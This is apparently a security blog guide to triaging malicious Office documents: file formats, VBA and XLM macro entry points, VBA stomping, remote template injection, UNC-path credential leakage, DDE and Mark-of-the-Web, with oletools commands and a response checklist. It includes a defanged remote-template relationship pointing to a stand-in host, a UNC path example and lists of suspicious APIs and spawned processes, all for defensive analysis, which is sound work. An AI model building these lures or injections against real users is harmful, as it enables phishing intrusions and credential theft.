Maldocs did not die, they changed shape
For years, the most reliable initial access technique was an email with a Word or Excel attachment and a line saying "Enable content to view this document". Microsoft's 2022 change to block VBA macros in files from the internet by default hurt that model badly, and many operators moved to ISO, LNK, OneNote and HTML smuggling.
But Office files did not disappear from the queue. They still arrive as exploit carriers, as remote-template loaders, as lures with links, in environments where policy re-enables macros, and inside archives or paths that do not carry the internet marker. An analyst needs to triage them quickly and safely, which means understanding the format before reaching for a sandbox.
Never open a suspected maldoc in Office on your workstation, and never "just check" with macros disabled. Several attack paths (remote templates, exploits, external links) do not need macros at all. Work with static tools in an isolated, disposable VM with no access to your network.
Two container formats
Everything starts with which format you are holding. The extension is a hint; the magic bytes are the answer (check with /tool/file-signatures).
| OLE / CFB (legacy) | OOXML (modern) | |
|---|---|---|
| Extensions | .doc, .xls, .ppt, also .msg |
.docx, .xlsx, .pptx, macro-enabled .docm, .xlsm, .pptm |
| Magic bytes | D0 CF 11 E0 A1 B1 1A E1 |
50 4B 03 04 (ZIP) |
| Structure | A filesystem in a file: storages and streams | ZIP of XML parts plus relationships |
| Macros live in | Macros/VBA or _VBA_PROJECT_CUR storages |
vbaProject.bin (itself an OLE file) inside the ZIP |
| Inspect with | olevba, oledump.py, olemeta |
unzip, zipdump.py, plus OLE tools on vbaProject.bin |
Two practical notes. First, a genuine .docx cannot carry VBA: a ".docx" containing vbaProject.bin is mislabelled, and mislabelling is itself a red flag. Second, RTF files ({\rtf magic) often arrive renamed to .doc; they cannot hold macros but have a long history of carrying embedded OLE objects and exploits, and need rtfobj instead.
VBA macros
VBA remains the classic. The pattern: an auto-run entry point, some obfuscation, and a call that spawns a process, writes a file or fetches a payload.
Entry points to look for:
AutoOpen, Document_Open, AutoClose, Document_Close (Word)
Workbook_Open, Auto_Open, Workbook_BeforeClose (Excel)
*_Layout, *_Painted, *_GotFocus (ActiveX control events, used to evade "Open" checks)
Suspicious calls and objects: Shell, WScript.Shell, CreateObject, GetObject("winmgmts:..."), MSXML2.XMLHTTP, ADODB.Stream, URLDownloadToFile via Declare statements, and anything building strings with Chr(), StrReverse, Replace or Split to hide them.
olevba from the oletools suite extracts and flags all of this:
olevba --decode --deobf sample.doc
mraptor sample.doc # quick verdict: AutoExec + Write/Execute = suspicious
VBA stomping
VBA projects store both the source code and compiled p-code. Office executes the p-code if the version matches, so an attacker can replace the source with something benign while the p-code stays malicious. Tools that read only the source see an innocent macro. If olevba reports that source and p-code disagree, or you suspect stomping, pcodedmp disassembles the p-code directly.
Excel 4.0 (XLM) macros
XLM predates VBA by decades and lives in cell formulas on macro sheets, not in a VBA project. It was heavily abused around 2020 and 2021 because many security tools and AMSI integrations did not inspect it at first. Microsoft has since restricted XLM by default, but the technique still appears.
Hallmarks:
- A sheet of type macro sheet, frequently very hidden (only visible through the file structure or VBA, not through the Unhide menu).
- A defined name
Auto_Open(or a localized equivalent) pointing to a cell on that sheet. - Formulas such as
EXEC,CALL,REGISTER,URLDownloadToFileA,FORMULA(writing new formulas at runtime),GET.WORKSPACE(environment checks for sandboxes) andCHAR()concatenations.
Because XLM builds its logic at runtime, static reading often shows only fragments. XLMMacroDeobfuscator emulates the formulas to recover the effective calls. For .xlsx/.xlsm files, /tool/xlsx-inspector is a quick first look at sheets (including hidden ones), defined names and external references before you reach for emulation.
No macros needed
Remote template injection
A Word document can reference its template by URL. In OOXML the reference sits in word/_rels/settings.xml.rels:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="hxxps://cdn-docs-storage[.]example/t/report.dotm"
TargetMode="External"/>
When the document opens, Word fetches the template, and the template can carry macros or an exploit. The outer document is clean by every macro scanner. MITRE ATT&CK tracks this as Template Injection (T1221). Any TargetMode="External" relationship in a document that arrived by email deserves a look.
External links and objects
Other relationships fetch remote content too: oleObject relationships to remote resources, linked images, and in spreadsheets externalLink parts pointing to other workbooks or UNC paths. A UNC path (\\198.51.100.20\share\x) can cause Windows to attempt SMB authentication to an external host, leaking NTLM credential material. The relationship is the payload.
# List every external target in an OOXML file
unzip -p sample.docx '*.rels' | grep -o 'Target="[^"]*" *TargetMode="External"'
Embedded exploits and DDE
Older documents may carry embedded objects exploiting Office components. CVE-2017-11882 (Equation Editor) stayed popular for years after its patch because unpatched endpoints kept existing. In 2022, CVE-2022-30190 ("Follina") showed a document could reach code execution through the MSDT URL handler via an external relationship, without macros. DDE fields (DDEAUTO) are an older trick; msodde finds them.
Run the full sweep:
oleid sample.doc # overview: macros, encryption, external rels, objects
oleobj sample.doc # extract embedded OLE objects
rtfobj sample.rtf # same, for RTF
msodde sample.docx # DDE links
Mark-of-the-Web and macro blocking
When Windows saves a file from the internet, browsers and many mail clients attach a Zone.Identifier alternate data stream:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=hxxps://mail.example[.]com/
HostUrl=hxxps://files.example[.]net/invoice.docm
ZoneId=3 is the Internet zone. Office reads this Mark-of-the-Web (MOTW): files with it open in Protected View, and since Microsoft's 2022 change, VBA macros in them are blocked with no "Enable content" button for users. That single change is the main reason macro phishing declined.
What that means for triage:
- The question becomes "did MOTW survive?" Attackers delivered documents inside containers (ISO, VHD, some archive formats) or via paths that did not propagate the mark. Microsoft patched several MOTW propagation bypasses in 2022, but always check how the file reached the user.
- Trusted Locations and policy exceptions bypass the block by design. If your organization allows macros from a network share, attackers will aim for that share.
- Templates and exploits do not care. Remote template injection and exploit documents are not stopped by VBA blocking.
On a live system, collect the stream as evidence: Get-Content .\invoice.docm -Stream Zone.Identifier in PowerShell. HostUrl and ReferrerUrl often give you the delivery infrastructure directly.
A safe triage workflow
- Isolate and hash. Work in a disposable VM. Compute SHA-256 and look it up on /hash/; a known sample saves you the rest of the work.
- Identify the container. Magic bytes, not the extension. OLE, ZIP, RTF, or something else pretending.
- Overview.
oleidfor the risk summary. For OOXML, list the ZIP contents and every.relsfile. - Macros.
olevba --decode --deobf; check for p-code mismatch; for XLM, inspect macro sheets and defined names, then emulate. - External references. Every
TargetMode="External", template,externalLink, linked OLE object and UNC path. Defang and extract them. - Embedded objects.
oleobj/rtfobj; hash and look up what comes out. - Metadata. Author, template, company, timestamps (see our document metadata guide); useful for clustering lures.
- Extract IOCs and pivot. URLs, domains, IPs, dropped file names. Look up domains on /domain/ and decode anything encoded (Base64 in macros is routine: /tool/base64).
- Detonate only if needed, in a sandbox, to confirm behaviour that static analysis could not resolve.
If the macro drops a script stage, the analysis continues there; our guide to malicious JavaScript deobfuscation covers the next layer, and detecting LOLBins covers what the payload typically launches.
Write detections for what the document does, not only its hash: Office applications spawning cmd.exe, powershell.exe, mshta.exe, rundll32.exe or regsvr32.exe is a high-value, low-noise signal regardless of the delivery trick.
What to do Monday
- [ ] Confirm the internet macro block is enforced by policy, not just by default, and audit Trusted Locations.
- [ ] Block or restrict Excel 4.0 macros where business allows it.
- [ ] Alert on Office child processes and on Office making outbound connections to fetch templates.
- [ ] Give analysts a ready VM with oletools, XLMMacroDeobfuscator and exiftool installed.
- [ ] Add "check
.relsfor external targets" to the phishing attachment playbook. - [ ] Keep the
Zone.Identifierstream when collecting a document from an endpoint.
The tricks change every year. The container formats do not, and once you can read them, most maldocs explain themselves in minutes.